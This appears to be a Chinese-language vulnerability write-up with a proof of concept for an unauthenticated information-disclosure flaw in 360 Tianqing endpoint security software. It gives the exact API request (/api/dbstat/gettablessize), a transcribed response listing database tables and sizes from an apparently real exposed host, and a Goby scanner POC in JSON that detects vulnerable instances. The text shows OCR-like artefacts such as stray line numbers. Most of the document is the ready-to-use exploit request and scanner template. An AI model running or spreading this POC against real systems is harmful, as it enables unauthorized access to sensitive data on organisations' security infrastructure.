# 天擎 数据库信息泄露漏洞

0x01 漏洞描述

OxO2 漏洞影响

0x03 漏洞复现

Goby & POC

## 0x01 漏洞描述

天擎 存在未授权越权访问,造成敏感信息泄露

## 0x02 漏洞影响

1 天擎

#### 0x03 漏洞复现

1 GET /api/dbstat/gettablessize HTTP/1.1

```
← → C ▲ 不安全 | 113.11 236 153.8443/api/dbstat/gettablessize
🚻 应用 📙 信息收集 📙 渗透工具 📙 工具文档 📙 漏洞平台 📙 常见漏洞 📙 渗透技巧 📙 CTF 📙 Github 📙 团队 📙 资料文库 📙 网站 📙 编程
     // 20210408154823
1
2
      3
4
        "result": 0,
5
        "reason": "success",
6
7
        "data": [
8
           "schema_name": "public",
9
10
           "table_name": "file",
11
           "table_size": "308 MB"
12
13
           "schema_name": "public",
14
15
           "table name": "rptsvc filecloud event 201904",
           "table_size": "67 MB"
16
17
18
           "schema_name": "public",
19
           "table_name": "leak_fixer",
20
           "table_size": "36 MB"
21
22
23 ▼
           "schema_name": "public",
           "table_name": "admin_opt_log",
25
           "table_size": "9568 kB"
27
         },
28
           "schema_name": "public",
29
           "table name": "token dict",
30
           "table_size": "9392 kB"
31
```

#### Goby & POC

```
1 {
 2
        "Name": "360 Tianqing database information disclosure",
        "Level": "0",
        "Tags": [
4
               "Disclosure of Sensitive Information"
         ],
         "GobyQuery": "app=\"360-TianQing\"",
         "Description": "Tianqing has unauthorized unauthorized unau
  thorized access, resulting in the disclosure of sensitive informa
  tion",
        "Product": "360 Tianging",
        "Homepage": "https://www.360.cn/",
10
        "Author": "PeiQi",
11
```

```
12
         "Impact": "",
13
         "Recommandation": "undefined",
14
         "References": [
15
               "http://wiki.peiqi.tech"
16
         ],
         "ScanSteps": [
17
               "AND",
18
19
               {
                      "Request": {
20
21
                            "method": "GET",
22
                            "uri": "/api/dbstat/gettablessize",
23
                            "follow redirect": false,
24
                            "header": {},
                            "data type": "text",
25
                            "data": ""
26
27
                      },
                      "ResponseTest": {
28
                            "type": "group",
29
30
                            "operation": "AND",
                            "checks": [
31
                                  {
32
                                         "type": "item",
33
                                         "variable": "$code".
34
                                         "operation": "==",
35
                                         "value": "200",
36
                                        "bz": ""
37
                                  },
                                  {
39
                                        "type": "item",
40
                                         "variable": "$body",
41
                                         "operation": "contains",
42
                                         "value": "schema_name",
43
                                        "bz": ""
44
45
                                  },
46
                                  {
                                         "type": "item",
47
                                         "variable": "$body",
48
                                         "operation": "contains",
49
                                         "value": "table_name",
50
                                         "bz": ""
51
```

```
52
                                   },
                                   {
53
54
                                          "type": "item",
55
                                          "variable": "$body",
                                          "operation": "contains",
56
                                          "value": "table_size",
57
                                          "bz": ""
58
59
                                   }
60
                             ]
61
                      },
                      "SetVariable": []
62
                }
63
64
         ],
         "PostTime": "2021-04-08 16:04:28",
65
         "GobyVersion": "1.8.255"
66
67 }
```

